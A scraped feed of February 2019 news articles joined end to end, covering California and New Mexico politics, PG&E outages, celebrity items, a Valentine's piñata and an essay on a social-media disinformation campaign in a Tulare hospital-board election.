The division is comprised of Butte, Glenn, Tehama and Shasta Counties as well as parts of west Plumas County.

More than 50,000 customers were affected before 10 a.m. on Wednesday, but Moreno said that crews have been making steady progress in restoring power.

As of 11 a.m., there are a total of 202 individual power outages affecting 43,400 customers in the North State.

The outages mainly began late Tuesday night and early Wednesday morning in Shasta County, but have spread to neighboring counties as well.

Moreno said that crews expect power to be restored to most customers by late afternoon on Wednesday.

PG&E customers with specific questions about outages and restoration times can call the utility's toll-free number at 1 (800) 743-5002.

Customers can also view the PG&E outage map to see specific areas affected by the outages by CLICKING HERE.SACRAMENTO, Calif. (AP) - The Latest on California Gov. Gavin Newsom's state of the state (all times local):

11:50 p.m.

Gov. Gavin Newsom is creating a new commission on homelessness and housing to address one of California's most difficult problems.

The Democratic governor said in his first State of the State speech Tuesday that it's a moral issue that has also become a public health crisis.

He cited mental illness, drug abuse and recent disease outbreaks and has proposed spending $600 million for homelessness care..

Newsom appointed Sacramento Mayor Darrell Steinberg to head his Commission on Homelessness & Supportive Housing. Steinberg previously was the leader of the state Senate.

Newsom's administration recently sued Huntington Beach for failing to reach housing goals and says he'll meet with other city leaders next week. He says he won't preside over "neglect and denial," and says cities must provide their fair share of affordable housing.

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11:35 a.m.

California Gov. Gavin Newsom says he'll have a plan within 60 days for dealing with the recent bankruptcy filing by Pacific Gas & Electric after years of devastating wildfires.

Newsom said in his first state of the state address Tuesday that he has convened a team of the nation's best bankruptcy lawyers and financial experts from the energy sector. They will work with his administration to develop what he called a comprehensive strategy.

He's promising to ensure that safe, affordable power will continue to flow. He says he'll seek justice for wildfire victims, fairness for the utility's employees, and protection for ratepayers.

Newsom says the state won't waver on its ambitious clean energy goals, but must also address the pressure that climate change is putting on utilities.

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11:20 a.m.

California Gov. Gavin Newsom says he's ending the state's effort to build a high-speed rail line between San Francisco and Los Angeles.

Newsom said Tuesday in his State of the State address it "would cost too much and take too long" to build the line long championed by his predecessor, Jerry Brown. Latest estimates pin the cost at $77 billion and completion in 2033.

Newsom says he wants to continue construction of the high-speed link from Merced to Bakersfield in California's Central Valley. He says building the line could bring economic transformation to the agricultural region.

And he says abandoning that portion of the project would require the state to return $3.5 billion in federal dollars.

Newsom also is replacing Brown's head of the board that oversee the project and is pledging to hold the project's contractors more accountable for cost overruns.

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12:01 a.m.

California Gov. Gavin Newsom is preparing to deliver his first State of the State address a day after declaring he wouldn't participate in the Trump administration's "political theater" over border security.

The Democratic governor is likely to ratchet up his rhetoric against President Donald Trump in Tuesday's address, a month into Newsom's governorship.

He said Monday he'll withdraw most of California's 360 National Guard troops on the Mexico border in a rebuke to Trump.

Newsom has also sparred with the president on health care and wildfire preparedness.

The State of the State will also give Newsom a chance to outline his vision for California. He's already laid out ambitious goals on housing, juvenile justice and the environment.BUTTE COUNTY, Calif. - A bobcat badly burned in the Camp Fire was released back into the wild on Sunday afternoon.

The bobcat suffered 5th-degree burns on the pads of all four paws.

Monday, the Gold Country Wildlife Rescue released the cat into the Big Chico Creek Ecological Reserve.

Many veterinarians donated their time and supplies to treat the cat using Tilapia fish skin along with pulsed electromagnetic therapy and cold laser acupuncture.PLACER COUNTY, Calif. - Placer County authorities gave a medal to a third-grader whose focus and quick-thinking may have helped save her father's life.

On Monday morning, Placer County Sheriff Devon Bell presented Isabell Pierce with a Medal of Merit, an award that only five other people have ever received in the history of the county.

"Isabell absolutely remained calm and composed during the entire incident," Bell said. "She said she needed to focus to keep her dad alive."

On Jan. 15, Isabell and her dad, Brian, were driving down Rock Springs Road in Newcastle when someone shot the driver's side window, the bullet hitting Brian's chest.

"Brian grabbed his sweatband and placed it over the wound his chest," Bell said. "Isabell quickly used her hands to hold that into place over Brian's wound. Brian drove to a fire station in Loomis where he received medical aid. Isabell was able to keep pressure on the wound the entire drive."

Investigators say that the person who shot Brian is Stanley Stepanski, 48, of Montana. Moments before he shot the car they were driving in, he shot and killed an elderly woman in her Newcastle home.

Stepanski also shot at businesses, homes and other vehicles before he was killed in a shoot-off with a Roseville police officer.

Weeks later, Brian is recovering from his gunshot wound and celebrating his daughter's bravery.

"I can't imagine an 8-year-old having the composure to know to apply direct pressure onto a wound so that she can take care of her dad so he could get to the fire station and get advanced medical care," Bell said. "[It's] just amazing."

Isabell, who is one of six siblings, is getting some new-found recognition.

"Usually my teachers are like - 'you're Emily's little sister, right?' But now to Emily- they're like, 'you're Isabell's older sister right?'" Isabell said. "Now they actually know who I am I guess."Movie

Anne's character believes that women are better con artists than men because 'no man will ever believe a woman is smarter than he is.'

Feb 13, 2019

AceShowbiz - "The Hustle" has unearthed its first trailer for viewing pleasure. The video from female-centric remake of the Steve Martin and Michael Caine-starring 1988 classic "Dirty Rotten Scoundrels" features Anne Hathaway's and Rebel Wilson's characters joining forces in their sneaky plans as cunning con artist.

The footage opens with Rebel's character successfully make a man, who sits in front of her inside the train, pay for her meals by posing as a grieving sister seeking her missing sibling. "I'm here to find my sister. She's been taken by men who sell hot white virgins to kajillionaires on yachts," she tells the man, who buys the lie.

Anne's character, who sits a few seats behind her, observes the scene and is impressed by her. She approaches Rebel and offers to work together so that Rebel can up her game with the help of Anne's high-class polish.

Anne believes that women are better con artists than men because "no man will ever believe a woman is smarter than he is." Later, the trailer sees Anne taking Rebel under her wings as she teaches Rebel her "sugar baby ways."

"First lesson, there is nothing more compelling to a man than a vulnerable woman," she says, before faking a cry on a command. The training also includes knife skills and other physical trainings. After Rebel is deemed ready, they go into their mission with a tech millionaire as the target.

Chris Addison ("The Thick of It") directs the comedy movie, which follows "Anne Hathaway and Rebel Wilson star as female scam artists, one low on rent and the other high class, who team up to take down the dirty rotten men who have wronged them." The movie also stars Alex Sharp, Timothy Blake Nelson, Ingrid Oliver and Emma Davies. Coming from MGM and Orion, "The Hustle" is produced by Roger Birnbaum and Rebel.

"The Hustle" is set to open nationwide on May 10.Instagram Celebrity

It is horrible but the Venezuelan model appears to laugh it off while showing the bite marks she gets on her backside.

Feb 13, 2019

AceShowbiz - Michelle Lewin's photo shoot on the islands of the Bahamas took a disastrous turn. The Venezuelan model, who was clad in a white skimpy bikini, was beautifully strolling on the beach before a wild pig came attacking and biting her on the butt.

The fitness influencer visited Big Major Cay island in Exuma, an uninhabitated area known for its feral pigs and piglet population. Some people went to the location to swim with the pigs which was also featured in Fyre Festival's star-studded commercial. The 32-year-old appeared to experience it, though she didn't have a luck to have more friendly pigs around her.

In an Instagram video that she shared, Lewin was seen lounging in the sand with pigs and piglets trailing behind. A big wild pig, however, came running up and bit her right on the backside. She looked surprised as she screamed and ran away. However, as she ran, more pigs came towards her.

It was horrible but she laughed it off. The model even showed the bite marks consisting two visibly red areas were seen on her butt.

The nightmare aside, Lewin had a rather nice moment with the animals. Taking to her Instagram Stories, she shared a slew videos of herself lounging in the sand with pigs and piglets, stroking their heads and allowing the piglets to lick her hands. Another footage saw her jumping in the water before swimming alongside the pigs.

Lewin had been enjoying her time on in the islands with her husband Jimmy Lewin. Although the official Bahamas tourism board encourages tourists to swim with the pigs, some sites of guided tours warn that "no animal encountered on the tour is trained, caged or domesticated in any way. Following guide instructions and using caution and care when interacting with the animals is very important."

The Points Guy, a travel website, also states that some pigs are known to bite people's behinds when they "think you're not feeding them."Reid Hoffman, the CEO of LinkedIn, who secretly sponsored a disinformation campaign on Facebook during the Alabama Senate race. Photo: David Paul Morris/Bloomberg via Getty Images

As social medias influence over politics and elections has risen, so too has our collective anxiety about it. Over the last three years in particular, the use of megaplatforms like Facebook and Twitter as vectors for misinformation has been the subject of congressional hearings and not a few columns on the websites of some of our finer magazines. And as we gear up for elections in 2019  and, assuming we make it through this year, in 2020  the anxiety is gearing up, too. On Monday, in anticipation of the European Parliamentary elections in May, the Mozilla Foundation, an influential internet-advocacy non-profit, released an open letter to Facebook, co-signed by 32 civil rights and transparency groups, demanding that the social network implement measures designed to increase transparency, facilitate research, and combat misinformation. We  are deeply concerned, the letter begins, about the validity of Facebooks promises to protect European users from targeted disinformation campaigns during the European Parliamentary elections.

But what, exactly, should we be concerned about? Where is the misinformation coming from? Rival governments? Shitposting trolls? And what does it do? Convince voters of untruths? Change the outcomes of elections? Researchers are just beginning to map out the relationship between social media and electoral politics, but a long, reported article about one such targeted disinformation campaign in this weeks New Yorker is a useful object lesson in the most pressing dangers presented by social media dirty-tricks operations.

The story, by Adam Entous and Ronan Farrow, follows an election for the hospital board in the central-California town of Tulare, contested between Parmod Kumar  the incumbent ally of the hospitals much-disliked administrator, Yorai Benzeevi  and Senovia Gutierrez, the mother of a local activist. To ensure Kumars victory, Benzeevi engaged Psy-Group, a private intelligence company based out of Tel Aviv, staffed by ex-Mossad agents, and specializing in covertly spreading messages to influence what people believed and how they behaved. In early 2017, in the months before the election, articles implying that Guiterrez took bribes, or suggesting that she wasnt a citizen, appeared on newly created websites with names like Tulare Leaks and Drain Tulare Swamp. As Entous and Farrow detail:

Other articles on Draintulareswamp.com questioned whether Senovia was fit to manage finances, and published records showing that she had filed for bankruptcy in 2003. (The bankruptcy records were authentic.) It was horrible  they put out stuff that we couldnt believe, and they were turning it out so fast, Deanne Martin-Soares, one of the founders of Citizens for Hospital Accountability, said. We couldnt trace anything. We didnt know where it was coming from. On Facebook, Alex Gutierrez responded to the smear tactics, writing, The gall of their campaign to fabricate and move forward with such trash speaks volumes of their desperation and fear!



Its hard to imagine how it would feel to be a candidate for a race as small-scale as one for a hospital board, and to still face such overwhelming dirty tricks. And yet: when the dust had cleared, and the votes were counted, Gutierrez won the election with 75 percent of the vote. Less than a year later, Psy-Group shuttered its doors.

Its an oddly anticlimactic end to such a treacherous race. But the tale of Tulares hospital-board election contains, I think, two important lessons about social media disinformation campaigns.

The first is about whom, precisely, we should direct our vigilance toward. Since 2016, anxiety over digital dirty tricks around elections has tended to be framed in geopolitical terms  the national security challenge of the 21st century, as Lindsey Graham puts it. According to this line of thinking, the threat, such as it is, emanates from adversaries like Russia, who transform Facebook, Twitter, and other platforms into (in the words of Virginia senator Mark Warner) petri dishes for Russian disinformation and propaganda.

Its absolutely true that Kremlinbacked trolls were active on Facebook and Twitter and Instagram during the 2016 election cycle, creating fake accounts, groups, and events, and generally shitposting in service of Donald Trump. But Facebook and its peers, reacting to pressure and aided by fairly clear FEC laws about foreign influence in elections, have gotten relatively good at identifying and stopping state-sponsored disinformation campaigns, whether from Russia or elsewhere. As state-sponsored threats are more aggressively confronted by platforms, the threat of misinformation in U.S. elections will increasingly originate not with geopolitical adversaries but with private intelligence contractors and their wealthy clients, as in Tulare. Were already seeing this happen: In the race for Alabamas senate seat last year, a group of Democratic tech experts backed by LinkedIn CEO Reid Hoffman carried out a secret program designed to sow division among Alabama Republicans by creating fake conservative Facebook pages. (Senator Doug Jones, the intended beneficiary of the efforts, which were likely too small to have any effect, has requested an inquiry into the campaign.) These campaigns, based as they generally are in the United States and subject to greater legal protections than those that arise in St. Petersburg or Beijing, are more difficult to identify and terminate. You dont even need to be that rich: Psy-Group, Entous and Farrow report, was selling its services for an average price of $350,000.

Of course, the question is: What are you getting for your money? Which brings us to the second lesson of the Tulare election, which is about what we should fear from such misinformation campaigns. Perhaps because of the highly disputed but prominent claim that targeted cyberattacks from Russian hackers helped swing the election for Trump, its easy to imagine that the effect of misinformation is specifically electoral: By launching a social media propaganda attack, you can swing an election toward your preferred candidate. But, as the Tulare story demonstrates, dirty tricks on social media are not, in and of themselves, enough to sway an election. In some cases, they can do the reverse. Kumars campaign manager, who was unaffiliated with Benzeevi and Psy-Group, told The New Yorker that he believed the attacks had the opposite of the intended effect: they motivated Senovias supporters to turn out on election day.

So what is the effect of social media dirty-tricks campaigns, if its not to decisively change the outcome of elections? Entous and Farrow detail one operation Psy-Group claims to have undertaken on behalf of a corporate client, in which a fake persona theyd created became so well-established in the industry that he was quoted in mainstream press reports and even by European parliamentarians. As Ram Ben-Barak, a former Psy-Group employee, puts it: This is the challenge of our time. Everything is fake. Its unbelievable. Ultimately, the targeted use of disinformation as a political tactic will be to destroy public trust at scale, as voters are confronted again and again with campaigns refracted through social media platforms awash with sketchy news sources and fake accounts (and a legacy media apparatus unfortunately beholden to those same platforms). Indeed, this was probably the original intent of Russian operations in 2016: to undermine public faith in the U.S. democratic process and decrease levels of civic trust, rather than to specifically help elect Donald Trump. Wealthy donors hiring private intelligence agencies to help their chosen candidates may convince themselves that theyre simply participating in the political process. What theyre really doing is eroding it.

Get your political fix. Get the Intelligencer newsletter, a political magazine that unfolds right in your inbox. Email This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Terms & Privacy Notice By submitting your email, you agree to our Terms and Privacy Notice and to receive email correspondence from us.WENN/Nicole Kubelka Celebrity

The 'Vice' star stopped talking to his mother Jenny and sister Sharon after she accused him of shoving her during a row before the London premiere of 'The Dark Knight' in 2008.

Feb 13, 2019

AceShowbiz - Christian Bale has finally ended his bitter decade-long feud with his mother.

The Oscar winning actor reportedly fell out with his mum Jenny and sister Sharon hours before the U.K. premiere of his Batman movie, "The Dark Knight" in 2008.

Bale was accused of shoving his mother during the row at the Dorchester Hotel in London, as the pair argued about the actor's wife, Sibi. Police were called, and Bale was arrested but released without charge and his family withdrew their statements.

The former child star, who shot to fame in Steven Spielberg's 1987 drama "Empire of the Sun", refused to speak to his family again.

Now, Jenny has revealed that she and her son have reconciled, and are working on their relationship after the decade-long feud.

The 45-year-old actor spoke with his mother while back in London for the BAFTAs, where he was up for Best Actor for his role as former U.S. vice president Dick Cheney in dark comedy, "Vice (2018)".

Back in 2014, Jenny opened up about her heartbreak over the estrangement, and said she would queue up with fans at her son's movie premieres just to catch a glimpse of him as he never returned her calls.

"I have tried nearly every day to get back in touch," she said at the time. "I have been sending him emails regularly... It's sad for me. It's sad for him, too."

Watching her son's movies, including "American Psycho" and his turn as Batman in Christopher Nolan's superhero trilogy, was the only way she could ease her heartache.

"I have them all," she said back in 2014. "Every one he's made. Then sometimes Christian will come up on TV in one of his films. I'll be flicking through the channels and suddenly there he is, looking at me from the TV. I think, 'Oh God' and carry on watching."Instagram Celebrity

According to an eyewitness, a man with a gun attacks members of the musicians' crew and badly pistol whips one bodyguard.

Feb 13, 2019

AceShowbiz - What was supposed to be a creative recording session for Rich the Kid and Usher turned into a violent attack. TMZ reported that a man opened fire at Westlake Recording studio in West Hollywood, Los Angeles on Tuesday, February 12. Both Usher and Rich were recording when the horrifying incident took place outside the studio.

According to an eyewitness, a man with a gun attacked multiple associates of the musicians and badly pistol whipped one bodyguard. The man then fired up to 10 shots while running away from the scene with a lot of cash and jewelry in hand. Fortunately, no one was hit by the bullet.

Usher was inside during the incident, so he was unhurt. Meanwhile, Rich the Kid was outside. It was said that the latter was originally targeted during the attack.

Nicole Nishida, Civilian Public Information for the L.A. County Sherrif's Office, confirmed the attack in a statement. "I can not confirm that Usher was involved but I can confirm that at approximately 3:27 today at a location on the 7200 block of Santa Monica blvd multiple suspects allegedly robbed victims at a local business and shots were fired," she said.

The case is ongoing and police continue to investigate.

Prior to the attack, Rich the Kid posted on Instagram a picture of him flaunting his wealth just outside the studio. "Always in bank mo deposit," he captioned the picture, which saw him holding a bunch of money near a purple Lamborghini.

The attack aside, Usher is currently preparing to headline the 23rd annual San Luis Salute hosted by Tilman Fertitta and his family on March 1. For this year's event, the organizers will transform the Galveston Island Convention Center at the San Luis Resort into "Mexico Magnifico".WENN/FayesVision Celebrity

Though acknowledging that creating a family of their own is 'something that needs to happen', the former 'Quantico' star admits that she doesn't think too much about it.

Feb 13, 2019

AceShowbiz - Newlyweds Priyanka Chopra and Nick Jonas are in no rush to have children.

The "Quantico" star, 36, and Jonas, 26, tied the knot in December (18) and while the actress knows expanding their family is "something that needs to happen" they are letting it happen in an "organic" way.

"It's not something I think about very much," she tells People magazine. "We're both very driven, we love our work, we're married to our work, and we're both very supportive of each other's work."

For now, the couple is focusing on continuing to get to know each other.

Priyanka Chopra Says Children with Husband Nick Jonas 'Needs to Happen'  Eventually https://t.co/VeGsZyLc0n  People (@people) 12 February 2019

"We haven't changed, strangely, because we're still navigating... getting to know each other, and it's just magical, because every day is like a new feeling and a new day and you're learning something new," she says.

Chopra and Jonas previously opened up about the possibility of parenthood, insisting they want to enjoy the honeymoon stage of their marriage before making family plans.

"I always say, 'Man proposes, God disposes', so I'm not taking any chances," Chopra said. "We definitely want kids, and when the time is right, it will happen."

"Let us be married first for a while before we have to make all these big decisions," Jonas added. "We're in our honeymoon period right now and we will be for a very long time."

The newlyweds recently celebrated their nuptials with family and friends in Belmont, North Carolina, where Jonas' father Kevin grew up and owns a restaurant. The bash on 27 January was headlined by DNCE, the group fronted by Nick's brother Joe Jonas.

Nick and Priyanka enjoyed a jet-setting honeymoon between the weddings and last month's party - they spent Christmas in London with Joe's fiancee Sophie Turner and her family, before heading to the Swiss Alps, where they rang in 2019 with loved ones, and then flew to the Caribbean.WENN/Euan Cherry Celebrity

During a panel discussion to promote 'Catch-22', the 'Gravity' actor takes a dig at the media for publishing a letter the Duchess of Sussex wrote to her estranged father Thomas Markle.

Feb 13, 2019

AceShowbiz - George Clooney has slammed the media for subjecting Meghan Markle, Duchess of Sussex to the same treatment as her late mother-in-law, Princess Diana.

The actor, who is a friend of the British royal and her husband Prince Harry and attended their royal wedding with his wife Amal last May (2018), gave the warning after U.K. tabloid the Mail on Sunday published a letter Meghan reportedly wrote to her estranged father, Thomas Markle.

According to the Press Association, during a panel discussion promoting his new Hulu show "Catch-22" in Pasadena, California on Monday, February 11, George criticised those hounding the pregnant Duchess.

"I do want to say, I just saw this piece," he said. "They're just chasing Meghan Markle everywhere, she's been pursued and vilified. She's a woman who is seven months pregnant and she is being pursued and vilified and chased in the same way that Diana was, and it's history repeating itself. And we've seen how that ends. I can't tell you how frustrating it is to see that."

Harry's mother Diana died in 1997 in a car crash in Paris caused when her driver was speeding to avoid photographers. She had been under intense media scrutiny for several years after the breakdown of her marriage to Prince Charles.

The "Gravity" star went on to directly reference the alleged handwritten letter, in which Meghan reportedly accused her dad Thomas of having "broken my heart into a million pieces" by telling falsehoods to the media.

"You're taking a letter from a daughter to a father and broadcasting it everywhere," he added. "She's getting a raw deal there, it's irresponsible. I'm sort of surprised by that."

Shortly before his daughter was due to wed Harry, Thomas staged paparazzi photos of himself preparing for the wedding. He then cancelled his trip to the U.K. for the nuptials and has subsequently made several public appeals calling for Meghan to repair their relationship - with the latest an interview accompanying the letter's publication in the British tabloid........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

ALBUQUERQUE, N.M.  New Mexico played a prominent role in the birth of the Atomic Age.

Research and development of the atomic bomb was done at Los Alamos, and the first successful bomb test was conducted at Trinity Site on White Sands Missile Range.

It is fitting that Americas only congressionally chartered museum that serves as a resource for nuclear science and history, should be located in the Land of Enchantment, said Jennifer Hayden, director of marketing and public relations at the National Museum of Nuclear Science and History.

The museum in Albuquerques Southeast Heights, a stones throw from Kirtland Air Force Base, is this year celebrating its 50th anniversary. The evolution of the museum and what visitors will see there was detailed by Hayden during a Wednesday morning presentation at a bi-monthly breakfast meeting of the Economic Forum.

Established in 1969, the museum was originally located on the grounds of Kirtland Air Force Base and was managed by the U.S. Department of Energy. After the 9/11 terrorist attacks in 2001, it was forced to move off base. It set up in a building in Old Town, temporarily leaving behind outdoor displays of historical aircraft and missiles.

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Ten years ago the museum moved to its current location at 601 Eubank SE, where it occupies a 30,000 square foot building and a nine-acre outdoor space called Heritage Park, where the collection of aircraft and missiles previously left behind were relocated and added to. The museum is now managed by the National Atomic Museum Foundation and is affiliated with the Smithsonian museum system.

While the focus of the museum when established was on nuclear weapons, that focus has since expanded, Hayden said. The museum now tells the story of the Atomic Age, from the Manhattan Project and the Cold War, to peaceful uses of nuclear technology like nuclear energy and nuclear medicine.

Exhibits at the museum include accounts of the decision to drop the first atomic bomb and the tests at White Sands Missile Range; replicas of Fat Man and Little Boy, the names given to the atomic bombs dropped over Japan during World War II; the car that scientist J. Robert Oppenheimer used to shuttle between Los Alamos and Trinity Site; the use of uranium and its effects on the environment; a hands-on area called Little Alberts Lab, where children can learn concepts of physics; and an Atomic Pop Culture area showing how the Atomic Age influenced art and culture and which features a Back to the Future DeLorean car with a flux capacitor.

Among the outdoor exhibits in Heritage Park are a B-29 Superfortress; a B-52b Stratofortress; a Russian MiG fighter jet; Cruise, Titan and Minuteman missiles; and a 100-foot-tall replica of Trinity Tower, from where the bomb was suspended above ground for detonation.

Looking toward the future, Hayden said, the museum is planning to construct a Museum Artifact Center, a building to house what she said is the worlds largest collection of unclassified historical nuclear weapons casings and nuclear defense artifacts. Only a fifth of the collection is currently on display due to space limitations.

The National Museum of Nuclear Science and History is a place to learn, think, imagine and draw your own conclusions, she said........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

Copyright  2019 Albuquerque Journal

SANTA FE  Gov. Michelle Lujan Grishams administration is seeking to halt certain Medicaid policies pushed by former Republican Gov. Susana Martinez, including mandatory copays and premiums for some Medicaid recipients.

In a letter sent this week to a federal administrator, State Medicaid Director Nicole Comeaux said the new administration does not intend to pursue the policies included in the states federal Medicaid waiver and instead plans to reverse course.

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Lujan Grisham, a Democrat who took office last month, said Wednesday that the policies would limit emergency access and disrupt health care services for thousands of state residents.

I have no intention of implementing policies that put a financial strain on low-income New Mexicans as well as administrative hardship on our health care provider network, Lujan Grisham said in a statement.

In rolling out the proposals in 2017, the Martinez administration said they would limit cost increases, provide incentives that promote quality over quantity in New Mexicos health care system, and encourage personal responsibility.

Ex-Human Services Secretary Brent Earnest said in December 2017 that the goal was to really drive better use of the health care system.

But the plan came under fire from Democratic lawmakers, who argued that imposing new copays and premiums, however small, could discourage people from seeking care when they need it.

One of the targeted policies is a $10 monthly premium for adults who became eligible for Medicaid under a 2014 expansion approved by Martinez. The premiums would affect an estimated 50,000 New Mexicans who make between about $12,000 and $16,000 yearly.

Another policy that could be reversed is a copay of $8 for nonemergency use of hospital emergency rooms and for buying brand-name drugs when a generic version is available. That would apply to an even broader swath of state Medicaid recipients.

Both policies are scheduled to take effect in the coming months, with the copays set to start on March 1. With that date fast approaching, Comeaux said in her letter to a federal Centers for Medicare & Medicaid Services official that the state wants to find the best and fastest way to reverse the decision.

The premiums and copays were previously projected to generate millions of dollars annually for the Human Services Department. But top agency officials indicated Wednesday that scrapping the policies could actually lead to long-term cost savings by encouraging Medicaid recipients to seek prompt treatment.

More than 832,000 New Mexicans  or about 40 percent of the states population  were enrolled in Medicaid as of December, according to the Human Services Department.

Of that amount, about 475,000 were adults and 357,000 were children.

The joint state-federal health care program also paid for 72 percent of the births in the state in 2015, the highest rate in the nation.

However, after years of rapid enrollment growth, the states Medicaid population has largely leveled off over the past two years, likely due in part to an improving state economy.

New Mexico Human Services Secretary David Scrase said the Lujan Grisham administration will work with hospitals statewide to come up with ways to reduce unnecessary emergency room use.

However, we do not believe that copayments are an effective strategy in driving changes in provider or member behavior, said Scrase, who was a physician at the University of New Mexico School of Medicine before being appointed by Lujan Grisham.

Although Medicaid is a federal program, states are given certain leeway in running it. Total New Mexico Medicaid spending is expected to approach $6 billion for the budget year that starts in July, with the federal government picking up the bulk of that tab........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

PHOENIX  The top aide to Arizonas attorney general is President Donald Trumps pick to head the U.S. Attorneys Office for Arizona, a position filled on an acting basis by the offices top assistant for over two years.

Sen. Martha McSally announced Tuesday that Trump had nominated Michael Bailey for the post. The appointment is subject to U.S. Senate confirmation.

Bailey has served as Attorney General Mark Brnovichs chief deputy and chief of staff since 2014. He previously was a Maricopa County prosecutor and in private law practice.

McSally commended Trump for Baileys appointment, calling him highly qualified and saying Arizona had lacked a permanent U.S. attorney for far too long.

McSally said shed work to have Bailey confirmed without delay.

First Assistant U.S. Attorney Elizabeth Strange is the acting U.S. attorney.

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SANTA FE  The Dona Ana County Democratic delegation of the New Mexico House of Representatives released a statement Tuesday in response to reports of an anti-gay attack at Zia Middle School in Las Cruces.

The fight, partly captured on a mobile phone video posted to social media, took place on Friday. The family of Savannah Tirre, 11, a sixth-grader at the school, identified her as the target of an attack by another student and said it followed months of bullying that have followed Tirres disclosure that she is gay.

The legislators statement reads:

The anti-gay attack that unfolded Friday at Zia Middle School runs contrary to our values as New Mexicans. LGBTQ students like Savannah deserve a safe and welcoming place where they can learn in peace and live as their authentic selves. We honor Savannahs courage and bravery. As your representatives, we stand against bigotry and violence in all forms. We stand with Savannah.

The Dona Ana County Democratic delegation includes Representatives Doreen Y. Gallegos, Angelica Rubio, Nathan Small, Joanne Ferrary, Willie Madrid, Raymundo Ray Lara, Micaela Lara Cadena, and Rodolpho Rudy Martinez.

Cadena, D-Mesilla, whose district includes Zia Middle School, released a statement of her own:

I am heartbroken to hear the news out of Zia Middle School, where a student was bullied and attacked on the basis of being LGBTQ. Every student deserves to feel safe and welcome at their place of learning and across our communities. I am especially outraged with adults on social media that have been part of instigating this ugliness. Savannah is brave for making the decision to live her life out loud and on her own terms. We can and must do more to protect our young people from discrimination and targeted violence, in schools and wherever they may be. As a mama and New Mexican, I am ready to walk next to Savannah and her family as we create the loving world all our kids deserve.

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In a news release, Cadena said she had made contact with the students mother, Chelsea Tirre, listening to their story and concerns, and committing to creating a better future for our kids.



2019 the Las Cruces Sun-News (Las Cruces, N.M.)

Visit the Las Cruces Sun-News (Las Cruces, N.M.) at www.lcsun-news.com

Distributed by Tribune Content Agency, LLC........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

ALBUQUERQUE, N.M.  Love was in the air, dangling by a rope from a crane, parked in the dirt lot next to the home of the most beloved woman in New Mexico and her king of hearts.

For six months, this king  we know him as Lonnie Anderson  asked the kind folks at a South Valley candy store to help him carry out the first phase of his annual grand gesture of love for his wife of 18 years, Anne Bolger-Witherspoon.

The store, Karamelo Dulceria at 1548 Bridge SW, also sells pinatas, and Anderson commissioned one in the shape of a pink Sweetheart candy emblazoned with his wifes first name.

Each day, he asked the dulceria to hang the pink pinata heart among the other pinatas displayed outside along the shops awning. Because the dulceria is on the route Anne takes to and from the familys home, she saw her personalized pinata every day  and so did everybody else who passed by.

Thats an important thing to Anderson, this sharing of affection and joy, this public symbol not only of his love for his wife but for his South Valley community, for Albuquerque  heck, for the world.

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I have faith in humanity, says Anderson, an affable man who speaks in a series of laughs and excitement. I have seen the most beautiful things.

This years most beautiful thing for Anne was not just her daily drive past the pink pinata, but the reveal Tuesday of a giant 10-foot-tall pink pinata with her name on it, hoisted in the air.

For weeks, Anderson and his two daughters, Hawthorn, 15, and Cheyenne, 11, toiled away in a neighbors garage, fashioning the huge heart out of cardboard boxes used in shipping refrigerators to Baillios, tie-down straps and layers of papier-mache made with 20 newspapers, flour and water.

An estimated 300 sheets of pink tissue paper were cut and applied, and ANNE was painted on the front of the heart in red.

In addition, Cheyenne created about 40 giant pieces of candy to fit inside the heart, using balloons and cellophane painted with remarkably accurate labels for Lemonheads, Hersheys Miniatures, Dubble Bubble and Tootsie Rolls.

As usual, this was 10 times harder than I thought it was going to be, Anderson says with a chuckle. Every time I do this, I think Im in way over my head, something is going to go wrong, and yet it always comes out amazing.

That, he said, is because of the help he gets from the community and beyond.

The working carousel he set up in their yard one year, for example, came about because the carousels owners wife loved the idea.

A poetry reading organized for another Valentines Day was a success because famed writers Rudolfo Anaya and Jimmy Santiago Baca volunteered.

One year, he asked people around the world to hold up I Love Anne signs and send the photos to her, and the photos came pouring in  including one from a young man who risked his life by standing with his sign on a hillside of war-torn Syria as two of his friends stood guard with rifles.

Anderson said he tried to discourage the young man from participating in the project because of the danger, but the young man replied: The only thing worth risking your life for is true love.

It happens like that every year. Whether its creating 30-foot-tall flowers out of butcher paper, a giant Sweetheart candy imprinted with Annes name painted on a building, an e.e. cummings poem spelled out in pebbles across a dirt lot or last years feat of using industrial-strength projectors to cast dozens of images of affection for Anne on the side of a three-story building Downtown, Anderson said he has found that people love to help because they love love.

Every year, I think that people will think Im the craziest person in the world, he said. And maybe they do, but they are always awesome.

This year, for example, the Karamelo Dulceria manager agreed to hang up the Anne pinata each day because she found the idea romantic, he said. Baillios saved the refrigerator boxes for him. His neighbor cleared out his garage to make room for the construction of the giant pinata and came up with the idea of using tie-down straps to fortify the creation.

And Mountain States Crane agreed to lend for free the boom truck crane that lifted the humongous heart 10 feet in the air, high enough for Anne to pull a rope attached to a bottom hatch to release the candy.

The only cooperation Anderson lacked this year was from the weather. Nasty winds expected on Valentines Day are the reason the grand pinata reveal was moved up to Tuesday.

Anderson estimates that this years project, like every project before, cost him about the same as a fancy dinner for two and a bouquet of roses.

Which just goes to show you that love doesnt have to cost a fortune, but with work, cooperation and creativity, the results can be priceless.

UpFront is a front-page news and opinion column. Comment directly to Joline at 823-3603, jkrueger@abqjournal.com or follow her on Twitter @jolinegkg........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

WASHINGTON  The Senate Tuesday passed the most sweeping conservation legislation in a decade, protecting millions of acres of land and hundreds of miles of wild rivers across the country and establishing four new national monuments honoring heroes from Civil War soldiers to a civil rights icon.

The 662-page measure, which passed 92 to 8, represented an old-fashioned approach to dealmaking that has largely disappeared on Capitol Hill. Senators from across the ideological spectrum celebrated home-state gains and congratulated each other for bridging the partisan divide.

It touches every state, features the input of a wide coalition of our colleagues, and has earned the support of a broad, diverse coalition of many advocates for public lands, economic development, and conservation, said Senate Majority Leader Mitch McConnell, R-Ky.

New Mexico Sen. Tom Udall, the top Democrat on the Senate Appropriations Subcommittee on the Interior, Environment and Related Agencies, and Sen. Martin Heinrich, a member of the Senate Committee on Energy and Natural Resources, successfully championed the provision to permanently reauthorize the Land and Water Conservation Fund.

